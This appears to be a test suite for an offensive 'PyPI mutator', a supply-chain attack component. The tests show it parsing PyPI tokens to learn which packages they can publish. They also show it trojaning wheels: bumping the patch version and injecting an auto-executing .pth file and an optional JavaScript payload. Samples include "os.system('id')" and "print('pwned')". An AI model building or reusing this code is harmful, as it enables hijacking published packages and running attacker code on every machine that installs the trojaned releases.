// tests/mutator/pypi.test.ts — Tests for PyPI mutator

import { describe, expect, test } from "bun:test";
import { unzipSync, zipSync } from "fflate";

import { Mutator } from "../../src/mutator/base";
import { PypiMutator } from "../../src/mutator/pypi/index";
import { parseMacaroonToken } from "../../src/mutator/pypi/macaroonParse";
import { patchWheel, type PkgMeta } from "../../src/mutator/pypi/wheel";

// ---------------------------------------------------------------------------
// parseMacaroonToken
// ---------------------------------------------------------------------------

describe("parseMacaroonToken", () => {
  test("returns user type for empty token", () => {
    const result = parseMacaroonToken("");
    expect(result.type).toBe("user");
    expect(result.packages).toEqual([]);
  });

  test("returns user type for non-pypi token", () => {
    const result = parseMacaroonToken("ghp_abc123");
    expect(result.type).toBe("user");
    expect(result.packages).toEqual([]);
  });

  test("returns user type for user-scoped pypi token", () => {
    const userToken =
      "pypi-" + Buffer.from('{"cid":"user","vids":[]}').toString("base64");
    const result = parseMacaroonToken(userToken);
    expect(result.type).toBe("user");
    expect(result.packages).toEqual([]);
  });

  test("returns project type with packages for project-scoped token", () => {
    const raw =
      'someprefix{"cid":"projects","vids":["my-pkg","other-lib"]}suffix';
    const token = "pypi-" + Buffer.from(raw).toString("base64");
    const result = parseMacaroonToken(token);
    expect(result.type).toBe("project");
    expect(result.packages).toEqual(["my-pkg", "other-lib"]);
  });

  test("returns project type with single package", () => {
    const raw = '{"cid":"projects","vids":["requests"]}';
    const token = "pypi-" + Buffer.from(raw).toString("base64");
    const result = parseMacaroonToken(token);
    expect(result.type).toBe("project");
    expect(result.packages).toEqual(["requests"]);
  });

  test("handles malformed base64 gracefully", () => {
    const token = "pypi-!!!not-valid-base64!!!";
    const result = parseMacaroonToken(token);
    expect(result.type).toBe("user");
    expect(result.packages).toEqual([]);
  });
});

// ---------------------------------------------------------------------------
// patchWheel
// ---------------------------------------------------------------------------

function buildSyntheticWheel(
  name: string,
  version: string,
): { data: Uint8Array; meta: PkgMeta } {
  const distDir = `${name}-${version}.dist-info/`;
  const entries: Record<string, Uint8Array> = {};

  const encode = (s: string) => new TextEncoder().encode(s);

  entries[`${distDir}METADATA`] = encode(
    `Metadata-Version: 2.1\r\nName: ${name}\r\nVersion: ${version}\r\n`,
  );
  entries[`${distDir}WHEEL`] = encode(
    `Wheel-Version: 1.0\r\nGenerator: test\r\nRoot-Is-Purelib: true\r\n`,
  );
  entries[`${distDir}RECORD`] = encode(`${name}/__init__.py,sha256=abc,3\r\n`);
  entries[`${name}/__init__.py`] = encode("# test package\n");

  const zipped = zipSync(entries, { level: 6 });
  const filename = `${name}-${version}-py3-none-any.whl`;

  return {
    data: zipped,
    meta: { name, version, wheelUrl: "", wheelFilename: filename },
  };
}

function patch(data: Uint8Array, meta: PkgMeta, pth: string, js?: string) {
  return patchWheel({ meta, wheelData: data, pthContent: pth, jsPayload: js });
}

describe("patchWheel", () => {
  test("bumps patch version from 1.2.3 to 1.2.4", () => {
    const { data, meta } = buildSyntheticWheel("mypkg", "1.2.3");
    const patched = patch(data, meta, "import mypkg; print('pwned')");
    expect(patched.newVersion).toBe("1.2.4");
    expect(patched.filename).toContain("1.2.4");
    expect(patched.filename).toContain("mypkg");
  });

  test("bumps patch version from 5.0.0 to 5.0.1", () => {
    const { data, meta } = buildSyntheticWheel("requests", "5.0.0");
    const patched = patch(data, meta, "...");
    expect(patched.newVersion).toBe("5.0.1");
  });

  test("bumps patch version from 2.0 to 2.0.1", () => {
    const { data, meta } = buildSyntheticWheel("lib", "2.0");
    const patched = patch(data, meta, "...");
    expect(patched.newVersion).toBe("2.0.1");
  });

  test("preserves wheel structure after patching", () => {
    const { data, meta } = buildSyntheticWheel("testpkg", "3.1.0");
    const patched = patch(data, meta, "import evil");
    const entries = unzipSync(patched.data);
    const distDirKey = Object.keys(entries).find((k) =>
      k.includes(".dist-info/"),
    );
    expect(distDirKey).toBeDefined();
    const distPrefix = distDirKey!.slice(
      0,
      distDirKey!.indexOf(".dist-info/") + ".dist-info/".length,
    );
    expect(distPrefix).toContain("3.1.1.dist-info");
    const metadata = entries[distPrefix + "METADATA"];
    expect(metadata).toBeDefined();
    const text = new TextDecoder().decode(metadata);
    expect(text).toContain("Version: 3.1.1");
  });

  test("injects .pth file at wheel root", () => {
    const { data, meta } = buildSyntheticWheel("injectme", "0.1.0");
    const pthContent = "import os; os.system('id')";
    const patched = patch(data, meta, pthContent);
    const entries = unzipSync(patched.data);
    const pthPath = "injectme-setup.pth";
    expect(entries[pthPath]).toBeDefined();
    expect(new TextDecoder().decode(entries[pthPath]!)).toBe(pthContent);
  });

  test("injects .pth file at wheel root and _index.js when jsPayload is provided", () => {
    const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0");
    const patched = patch(data, meta, "import os", "console.log(1)");
    const entries = unzipSync(patched.data);
    expect(entries["mypkg-setup.pth"]).toBeDefined();
    expect(entries["mypkg/_index.js"]).toBeDefined();
    expect(new TextDecoder().decode(entries["mypkg/_index.js"]!)).toBe(
      "console.log(1)",
    );
  });

  test("does NOT inject _index.js when jsPayload is omitted", () => {
    const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0");
    const patched = patch(data, meta, "import os");
    const entries = unzipSync(patched.data);
    expect(entries["mypkg/_index.js"]).toBeUndefined();
  });

  test("produces deterministic output for same input", () => {
    const { data, meta } = buildSyntheticWheel("det", "1.0.0");
    const a = patch(data, meta, "payload");
    const b = patch(data, meta, "payload");
    expect(a.filename).toBe(b.filename);
    expect(a.newVersion).toBe(b.newVersion);
    expect(a.data).toEqual(b.data);
  });
});

// ---------------------------------------------------------------------------
// PypiMutator — contract
// ---------------------------------------------------------------------------

describe("PypiMutator", () => {
  test("extends Mutator base class", () => {
    const m = new PypiMutator("pypi-fakeTokenHere123");
    expect(m).toBeInstanceOf(Mutator);
    expect(m).toBeInstanceOf(PypiMutator);
  });

  test("throws when constructed without a token", () => {
    expect(() => new PypiMutator("")).toThrow("A PyPI token is required.");
  });

  test("execute returns Promise<Boolean>", () => {
    const m = new PypiMutator("pypi-fakeTokenHere123", ["requests"]);
    const result = m.execute();
    expect(result).toBeInstanceOf(Promise);
    result.catch(() => {});
  });

  test("implements the Mutator interface", () => {
    const m: Mutator = new PypiMutator("pypi-fake", ["flask"]);
    expect(typeof m.execute).toBe("function");
  });

  test("constructor accepts optional package list", () => {
    const m = new PypiMutator("pypi-test", ["numpy", "pandas"]);
    expect(m).toBeDefined();
  });

  test("constructor works with no package list", () => {
    const m = new PypiMutator("pypi-test");
    expect(m).toBeDefined();
  });

  test("constructor accepts jsPayload", () => {
    const m = new PypiMutator("pypi-test", ["pkg"], "// js payload");
    expect(m).toBeDefined();
  });
});